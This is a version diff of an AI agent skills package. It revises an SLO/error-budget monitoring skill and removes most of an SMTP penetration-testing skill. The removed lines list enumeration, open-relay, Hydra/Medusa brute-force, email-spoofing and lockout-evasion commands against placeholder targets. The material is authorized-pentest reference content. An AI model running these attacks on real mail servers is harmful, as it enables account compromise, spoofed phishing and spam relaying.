opencode-skills-collection 4.0.53 → 4.0.55

package/bundled-skills/slo-implementation/SKILL.md

@@ -65,7 +65,7 @@ sum(rate(http_request_duration_seconds_bucket{le="0.5"}[28d]))
 sum(rate(http_request_duration_seconds_count[28d]))
 ```
 
-#### 3. Durability SLI
+#### 3. Write Success SLI
 ```
 # Successful writes / Total writes
 sum(storage_writes_successful_total)
@@ -79,6 +79,8 @@ sum(storage_writes_total)
 
 ### Availability SLO Examples
 
+The downtime equivalents below assume a time-based SLI, a 30-day month and a 365-day year; do not convert request-based budgets to downtime without a traffic model.
+
 | SLO % | Downtime/Month | Downtime/Year |
 |-------|----------------|---------------|
 | 99%   | 7.2 hours      | 3.65 days     |
@@ -106,7 +108,7 @@ slos:
       /
       sum(rate(http_requests_total[28d]))
 
-  - name: api_latency_p95
+  - name: api_latency_under_500ms
     target: 99
     window: 28d
     sli: |
@@ -194,6 +196,21 @@ groups:
           )) / (1 - 0.999)
 ```
 
+The exhaustion projection below assumes a constant recent burn rate. Zero burn has no finite exhaustion time; an exhausted budget must display as already exhausted. Missing telemetry is not healthy traffic.
+
+### Additional Burn-Rate Recording Rules
+
+Include these rules in the same recording-rule group before using the alert examples:
+
+```yaml
+- record: slo:http_availability:burn_rate_1h
+  expr: (sum(rate(http_requests_total{status=~"5.."}[1h])) / sum(rate(http_requests_total[1h]))) / (1 - 0.999)
+- record: slo:http_availability:burn_rate_6h
+  expr: (sum(rate(http_requests_total{status=~"5.."}[6h])) / sum(rate(http_requests_total[6h]))) / (1 - 0.999)
+- record: slo:http_availability:burn_rate_30m
+  expr: (sum(rate(http_requests_total{status=~"5.."}[30m])) / sum(rate(http_requests_total[30m]))) / (1 - 0.999)
+```
+
 ### SLO Alerting Rules
 
 ```yaml
@@ -202,7 +219,7 @@ groups:
     interval: 1m
     rules:
       # Fast burn: 14.4x rate, 1 hour window
-      # Consumes 2% error budget in 1 hour
+      # Approximately 2.14% of a 28-day budget in 1 hour at constant traffic
       - alert: SLOErrorBudgetBurnFast
         expr: |
           slo:http_availability:burn_rate_1h > 14.4
@@ -216,7 +233,7 @@ groups:
           description: "Error budget burning at {{ $value }}x rate"
 
       # Slow burn: 6x rate, 6 hour window
-      # Consumes 5% error budget in 6 hours
+      # Approximately 5.36% of a 28-day budget in 6 hours at constant traffic
       - alert: SLOErrorBudgetBurnSlow
         expr: |
           slo:http_availability:burn_rate_6h > 6
@@ -270,11 +287,9 @@ sli:http_availability:ratio * 100
 slo:http_availability:error_budget_remaining
 
 # Days until error budget exhausted (at current burn rate)
-(slo:http_availability:error_budget_remaining / 100)
-*
-28
+(slo:http_availability:error_budget_remaining / 100) * 28
 /
-(1 - sli:http_availability:ratio) * (1 - 0.999)
+slo:http_availability:burn_rate_5m
 ```
 
 ## Multi-Window Burn Rate Alerts
@@ -334,7 +349,7 @@ rules:
 
 ## Reference Files
 
-- `assets/slo-template.md` - SLO definition template
+- [inline example](#setting-slo-targets) - SLO definition template
 - `references/slo-definitions.md` - SLO definition patterns
 - `references/error-budget.md` - Error budget calculations
 

package/bundled-skills/slo-implementation/references/error-budget.md

@@ -0,0 +1,13 @@
+# Error budget arithmetic
+
+## Inputs
+
+Let target be a fraction strictly between zero and one, total be eligible events, and bad be failed eligible events in the same window.
+
+## Procedure and verification
+
+Budget events = total × (1 − target). Consumed fraction = bad / budget events. Remaining fraction = 1 − consumed fraction. Burn rate = (bad / total) / (1 − target). Example: total 100000, target 0.999 and bad 50 gives budget 100, remaining 50% and burn 0.5. No traffic has no measured burn; do not divide by zero.
+
+## Limitations
+
+For a fixed-rate projection, days remaining = remaining fraction × window days / burn rate. Mark zero burn as no finite exhaustion estimate and negative remaining budget as already exhausted. This projection is not a forecast when traffic or failures change.

package/bundled-skills/slo-implementation/references/slo-definitions.md

@@ -0,0 +1,13 @@
+# Defining an SLI and SLO
+
+## Inputs
+
+Record the journey, eligible event population, good-event definition, target fraction, reporting window and owner.
+
+## Procedure and verification
+
+Use good events divided by total eligible events for a request-based SLI. Define how client errors, retries and dependency timeouts count. Distinguish no traffic from missing telemetry. Keep service and tenant scopes consistent. Validate against a known request sample and capture the query with its data source.
+
+## Limitations
+
+A percentile and a fraction of requests under a threshold are different measures. Avoid silently substituting one. A request success fraction does not establish durability or a contractual SLA.

package/bundled-skills/slo-implementation/resources/implementation-playbook.md

@@ -0,0 +1,23 @@
+# SLO implementation playbook
+
+## Inputs
+
+User journey, eligible event population, success threshold, observation window and responsible service owner.
+
+## Procedure
+
+1. Define good and total events together, including timeout and no-traffic behavior. Choose a target from user needs and observed baseline.
+2. Compute bad fraction, budget and burn rate from the same population. Create every recording rule referenced by alerts and check labels align.
+3. Test healthy, exhausted, missing-data and zero-traffic cases with known counts. Review paging thresholds, runbook and recovery behavior before enabling notifications.
+
+## Worked example
+
+For 100,000 eligible requests at a 99.9% target, the budget is 100 bad requests. Fifty observed failures consume half the budget.
+
+## Verification and handoff
+
+Report the actual files or configuration changed, checks performed, observed results and any untested environment. Keep the original inputs and evidence sufficient to reproduce the conclusion.
+
+## Limitations
+
+Request-based budgets cannot be converted directly into downtime minutes under variable traffic. Example thresholds are not service commitments.

package/bundled-skills/smartui-skill/SKILL.md

@@ -1,6 +1,6 @@
 ---
 name: smartui-skill
-description: Generates SmartUI visual regression test configurations for screenshot comparison on TestMu AI cloud. Framework-agnostic — works with Playwright, Selenium, Cypress, Puppeteer. Use when user mentions "SmartUI", "visual regression", "screenshot comparison", "visual testing". Triggers on:...
+description: "Generates SmartUI visual regression test configurations for screenshot comparison on TestMu AI cloud. Framework-agnostic — works with Playwright, Selenium, Cypress, Puppeteer. Use when user mentions \"SmartUI\", \"visual regression\", \"screenshot comparison\", \"visual testing\"."
 risk: critical
 source: https://github.com/LambdaTest/agent-skills/tree/main/smartui-skill
 source_repo: LambdaTest/agent-skills

package/bundled-skills/smtp-penetration-testing/SKILL.md

@@ -25,9 +25,9 @@ date_added: "2026-02-27"
 
 # SMTP Penetration Testing
 
-## Purpose
+## Detailed Guide
 
-Conduct comprehensive security assessments of SMTP (Simple Mail Transfer Protocol) servers to identify vulnerabilities including open relays, user enumeration, weak authentication, and misconfiguration. This skill covers banner grabbing, user enumeration techniques, relay testing, brute force attacks, and security hardening recommendations.
+Read [the detailed guide](references/detailed-guide.md) before executing this skill. It retains the complete procedure and reference material. Treat its safety, prerequisites, and validation requirements as mandatory. For focused work, load the relevant sections; for end-to-end work, read the guide completely.
 
 ## Prerequisites
 
@@ -60,341 +60,6 @@ msfconsole
 - Written authorization for testing
 - Wordlists for enumeration and brute force
 
-## Outputs and Deliverables
-
-1. **SMTP Security Assessment Report** - Comprehensive vulnerability findings
-2. **User Enumeration Results** - Valid email addresses discovered
-3. **Relay Test Results** - Open relay status and exploitation potential
-4. **Remediation Recommendations** - Security hardening guidance
-
-## Core Workflow
-
-### Phase 1: SMTP Architecture Understanding
-
-```
-Components: MTA (transfer) → MDA (delivery) → MUA (client)
-
-Ports: 25 (SMTP), 465 (SMTPS), 587 (submission), 2525 (alternative)
-
-Workflow: Sender MUA → Sender MTA → DNS/MX → Recipient MTA → MDA → Recipient MUA
-```
-
-### Phase 2: SMTP Service Discovery
-
-Identify SMTP servers and versions:
-
-```bash
-# Discover SMTP ports
-nmap -p 25,465,587,2525 -sV TARGET_IP
-
-# Aggressive service detection
-nmap -sV -sC -p 25 TARGET_IP
-
-# SMTP-specific scripts
-nmap --script=smtp-* -p 25 TARGET_IP
-
-# Discover MX records for domain
-dig MX target.com
-nslookup -type=mx target.com
-host -t mx target.com
-```
-
-### Phase 3: Banner Grabbing
-
-Retrieve SMTP server information:
-
-```bash
-# Using Telnet
-telnet TARGET_IP 25
-# Response: 220 mail.target.com ESMTP Postfix
-
-# Using Netcat
-nc TARGET_IP 25
-# Response: 220 mail.target.com ESMTP
-
-# Using Nmap
-nmap -sV -p 25 TARGET_IP
-# Version detection extracts banner info
-
-# Manual SMTP commands
-EHLO test
-# Response reveals supported extensions
-```
-
-Parse banner information:
-
-```
-Banner reveals:
-- Server software (Postfix, Sendmail, Exchange)
-- Version information
-- Hostname
-- Supported SMTP extensions (STARTTLS, AUTH, etc.)
-```
-
-### Phase 4: SMTP Command Enumeration
-
-Test available SMTP commands:
-
-```bash
-# Connect and test commands
-nc TARGET_IP 25
-
-# Initial greeting
-EHLO attacker.com
-
-# Response shows capabilities:
-250-mail.target.com
-250-PIPELINING
-250-SIZE 10240000
-250-VRFY
-250-ETRN
-250-STARTTLS
-250-AUTH PLAIN LOGIN
-250-8BITMIME
-250 DSN
-```
-
-Key commands to test:
-
-```bash
-# VRFY - Verify user exists
-VRFY admin
-250 2.1.5 admin@target.com
-
-# EXPN - Expand mailing list
-EXPN staff
-250 2.1.5 user1@target.com
-250 2.1.5 user2@target.com
-
-# RCPT TO - Recipient verification
-MAIL FROM:<test@attacker.com>
-RCPT TO:<admin@target.com>
-# 250 OK = user exists
-# 550 = user doesn't exist
-```
-
-### Phase 5: User Enumeration
-
-Enumerate valid email addresses:
-
-```bash
-# Using smtp-user-enum with VRFY
-smtp-user-enum -M VRFY -U /usr/share/wordlists/users.txt -t TARGET_IP
-
-# Using EXPN method
-smtp-user-enum -M EXPN -U /usr/share/wordlists/users.txt -t TARGET_IP
-
-# Using RCPT method
-smtp-user-enum -M RCPT -U /usr/share/wordlists/users.txt -t TARGET_IP
-
-# Specify port and domain
-smtp-user-enum -M VRFY -U users.txt -t TARGET_IP -p 25 -d target.com
-```
-
-Using Metasploit:
-
-```bash
-use auxiliary/scanner/smtp/smtp_enum
-set RHOSTS TARGET_IP
-set USER_FILE /usr/share/wordlists/metasploit/unix_users.txt
-set UNIXONLY true
-run
-```
-
-Using Nmap:
-
-```bash
-# SMTP user enumeration script
-nmap --script smtp-enum-users -p 25 TARGET_IP
-
-# With custom user list
-nmap --script smtp-enum-users --script-args smtp-enum-users.methods={VRFY,EXPN,RCPT} -p 25 TARGET_IP
-```
-
-### Phase 6: Open Relay Testing
-
-Test for unauthorized email relay:
-
-```bash
-# Using Nmap
-nmap -p 25 --script smtp-open-relay TARGET_IP
-
-# Manual testing via Telnet
-telnet TARGET_IP 25
-HELO attacker.com
-MAIL FROM:<test@attacker.com>
-RCPT TO:<victim@external-domain.com>
-DATA
-Subject: Relay Test
-This is a test.
-.
-QUIT
-
-# If accepted (250 OK), server is open relay
-```
-
-Using Metasploit:
-
-```bash
-use auxiliary/scanner/smtp/smtp_relay
-set RHOSTS TARGET_IP
-run
-```
-
-Test variations:
-
-```bash
-# Test different sender/recipient combinations
-MAIL FROM:<>
-MAIL FROM:<test@[attacker_IP]>
-MAIL FROM:<test@target.com>
-
-RCPT TO:<test@external.com>
-RCPT TO:<"test@external.com">
-RCPT TO:<test%external.com@target.com>
-```
-
-### Phase 7: Brute Force Authentication
-
-Test for weak SMTP credentials:
-
-```bash
-# Using Hydra
-hydra -l admin -P /usr/share/wordlists/rockyou.txt smtp://TARGET_IP
-
-# With specific port and SSL
-hydra -l admin -P passwords.txt -s 465 -S TARGET_IP smtp
-
-# Multiple users
-hydra -L users.txt -P passwords.txt TARGET_IP smtp
-
-# Verbose output
-hydra -l admin -P passwords.txt smtp://TARGET_IP -V
-```
-
-Using Medusa:
-
-```bash
-medusa -h TARGET_IP -u admin -P /path/to/passwords.txt -M smtp
-```
-
-Using Metasploit:
-
-```bash
-use auxiliary/scanner/smtp/smtp_login
-set RHOSTS TARGET_IP
-set USER_FILE /path/to/users.txt
-set PASS_FILE /path/to/passwords.txt
-set VERBOSE true
-run
-```
-
-### Phase 8: SMTP Command Injection
-
-Test for command injection vulnerabilities:
-
-```bash
-# Header injection test
-MAIL FROM:<attacker@test.com>
-RCPT TO:<victim@target.com>
-DATA
-Subject: Test
-Bcc: hidden@attacker.com
-X-Injected: malicious-header
-
-Injected content
-.
-```
-
-Email spoofing test:
-
-```bash
-# Spoofed sender (tests SPF/DKIM protection)
-MAIL FROM:<ceo@target.com>
-RCPT TO:<employee@target.com>
-DATA
-From: CEO <ceo@target.com>
-Subject: Urgent Request
-Please process this request immediately.
-.
-```
-
-### Phase 9: TLS/SSL Security Testing
-
-Test encryption configuration:
-
-```bash
-# STARTTLS support check
-openssl s_client -connect TARGET_IP:25 -starttls smtp
-
-# Direct SSL (port 465)
-openssl s_client -connect TARGET_IP:465
-
-# Cipher enumeration
-nmap --script ssl-enum-ciphers -p 25 TARGET_IP
-```
-
-### Phase 10: SPF, DKIM, DMARC Analysis
-
-Check email authentication records:
-
-```bash
-# SPF/DKIM/DMARC record lookups
-dig TXT target.com | grep spf            # SPF
-dig TXT selector._domainkey.target.com    # DKIM
-dig TXT _dmarc.target.com                 # DMARC
-
-# SPF policy: -all = strict fail, ~all = soft fail, ?all = neutral
-```
-
-## Quick Reference
-
-### Essential SMTP Commands
-
-| Command | Purpose | Example |
-|---------|---------|---------|
-| HELO | Identify client | `HELO client.com` |
-| EHLO | Extended HELO | `EHLO client.com` |
-| MAIL FROM | Set sender | `MAIL FROM:<sender@test.com>` |
-| RCPT TO | Set recipient | `RCPT TO:<user@target.com>` |
-| DATA | Start message body | `DATA` |
-| VRFY | Verify user | `VRFY admin` |
-| EXPN | Expand alias | `EXPN staff` |
-| QUIT | End session | `QUIT` |
-
-### SMTP Response Codes
-
-| Code | Meaning |
-|------|---------|
-| 220 | Service ready |
-| 221 | Closing connection |
-| 250 | OK / Requested action completed |
-| 354 | Start mail input |
-| 421 | Service not available |
-| 450 | Mailbox unavailable |
-| 550 | User unknown / Mailbox not found |
-| 553 | Mailbox name not allowed |
-
-### Enumeration Tool Commands
-
-| Tool | Command |
-|------|---------|
-| smtp-user-enum | `smtp-user-enum -M VRFY -U users.txt -t IP` |
-| Nmap | `nmap --script smtp-enum-users -p 25 IP` |
-| Metasploit | `use auxiliary/scanner/smtp/smtp_enum` |
-| Netcat | `nc IP 25` then manual commands |
-
-### Common Vulnerabilities
-
-| Vulnerability | Risk | Test Method |
-|--------------|------|-------------|
-| Open Relay | High | Relay test with external recipient |
-| User Enumeration | Medium | VRFY/EXPN/RCPT commands |
-| Banner Disclosure | Low | Banner grabbing |
-| Weak Auth | High | Brute force attack |
-| No TLS | Medium | STARTTLS test |
-| Missing SPF/DKIM | Medium | DNS record lookup |
-
 ## Constraints and Limitations
 
 ### Legal Requirements
@@ -492,15 +157,6 @@ nmap -p 25 --script smtp-open-relay --script-args smtp-open-relay.from=test@atta
 # |_smtp-open-relay: Server is an open relay (14/16 tests)
 ```
 
-## Troubleshooting
-
-| Issue | Cause | Solution |
-|-------|-------|----------|
-| Connection Refused | Port blocked or closed | Check port with nmap; ISP may block port 25; try 587/465; use VPN |
-| VRFY/EXPN Disabled | Server hardened | Use RCPT TO method; analyze response time/code variations |
-| Brute Force Blocked | Rate limiting/lockout | Slow down (`hydra -W 5`); use password spraying; check for fail2ban |
-| SSL/TLS Errors | Wrong port or protocol | Use 465 for SSL, 25/587 for STARTTLS; verify EHLO response |
-
 ## Security Recommendations
 
 ### For Administrators